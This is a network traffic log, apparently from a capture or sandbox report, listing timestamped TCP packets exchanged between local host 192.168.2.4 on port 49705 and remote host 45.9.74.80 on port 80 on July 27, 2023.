Jul 27, 2023 18:27:01.373027086 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.373054028 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373092890 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373110056 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.373131990 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373171091 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373187065 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.373209953 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373250008 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373264074 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.373292923 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373332977 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373363972 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.373373985 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373416901 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373436928 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.373503923 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373543024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373564005 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.373586893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373630047 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373642921 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.373672009 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373714924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373749018 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.373759031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373800993 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373842001 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373855114 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.373883963 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373908043 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.373925924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373967886 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.373991013 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.374010086 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374051094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374068022 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.374092102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374134064 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374174118 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374191046 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.374216080 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374226093 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.374258995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374300957 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374311924 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.374342918 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374385118 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374423027 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.374425888 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374469995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374480009 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.374512911 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374574900 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.374596119 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374638081 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374679089 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374695063 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.374718904 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374759912 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374774933 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.374799967 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374840975 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374857903 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.374881029 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374922991 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374962091 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.374991894 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.375003099 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375045061 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375060081 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.375086069 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375103951 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.375128031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375166893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375181913 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.375209093 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375248909 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375264883 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.375289917 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375329971 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375369072 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375385046 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.375408888 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375448942 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375464916 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.375489950 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375530005 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375545979 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.375570059 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375586987 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.375652075 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375694036 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.375705957 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.380023956 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.380069017 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.380112886 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.380155087 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.380196095 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.380239010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.380301952 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.380316973 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.380317926 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.380347967 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.380390882 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.380415916 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.380434036 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.380496025 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.386765003 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.386791945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.386914968 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.392613888 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.392647028 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.392698050 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.398257017 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398293018 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398324013 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398338079 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.398355007 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398387909 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398418903 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398449898 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398457050 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.398457050 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.398482084 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398505926 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.398514986 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398546934 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398580074 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398596048 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.398612022 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398644924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398659945 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.398675919 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398699999 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398773909 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398775101 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.398806095 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398808956 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.398838043 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398861885 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.398869991 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398900986 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398931026 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398958921 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.398962021 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.398979902 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.398994923 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399025917 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399044037 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.399055958 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399087906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399116039 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399116039 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.399148941 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399178028 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399205923 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.399209976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399236917 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.399240971 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399274111 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399305105 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399326086 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.399337053 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399349928 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.399369955 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399399996 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399430990 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399450064 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.399462938 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399468899 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.399494886 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399525881 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399544954 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.399563074 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399595976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399626017 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399642944 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.399657011 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399667978 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.399689913 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399720907 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399743080 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399775028 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399774075 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.399867058 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399897099 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.399923086 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399954081 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.399985075 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400013924 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.400017023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400048971 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400082111 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400084019 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.400084019 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.400114059 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400146961 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400151968 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.400180101 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400209904 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400238991 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.400242090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400288105 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400309086 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.400324106 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400342941 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.400367975 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400399923 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400429010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400460005 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400460958 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.400496006 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400525093 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.400527000 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400574923 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400608063 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400613070 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.400638103 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400669098 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400700092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400727987 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.400731087 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400753975 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400778055 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.400787115 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400810957 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.400819063 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400908947 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.400908947 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.400923014 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.400999069 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401041031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401083946 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401124954 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401125908 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.401158094 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.401166916 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401210070 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401249886 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401297092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401325941 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.401325941 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.401338100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401381016 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401422977 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401453018 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.401463985 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401494980 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.401505947 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401549101 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401592016 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401619911 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.401633024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401669979 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.401683092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401735067 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401776075 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401808977 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.401818991 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.401834965 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.401861906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402061939 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402136087 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402146101 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.402185917 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402208090 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.402232885 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402308941 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.402317047 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402368069 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402415037 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402492046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402493000 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.402539968 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402569056 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.402587891 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402637005 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402683973 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402723074 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.402729034 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402753115 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.402776957 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402823925 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402869940 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402901888 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.402916908 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.402946949 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.402987957 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.403033972 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.403079987 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.403110981 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.403131008 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.403147936 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.403177023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.403223991 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.403269053 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.403307915 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.403316021 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.403347969 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.403363943 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.403409004 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.403439045 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.403455019 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.403501987 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.403517008 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.403547049 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.403595924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.403611898 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.403642893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.403810024 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.409524918 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.409591913 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.409671068 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.409718990 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.409734964 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.409765959 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.409815073 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.409830093 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.409884930 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.414999008 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.415052891 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.415290117 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.426268101 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.426336050 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.426382065 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.426428080 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.426472902 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.426501036 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.426522017 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.426551104 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.426567078 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.426574945 CEST	49705	80	192.168.2.4	45.9.74.80
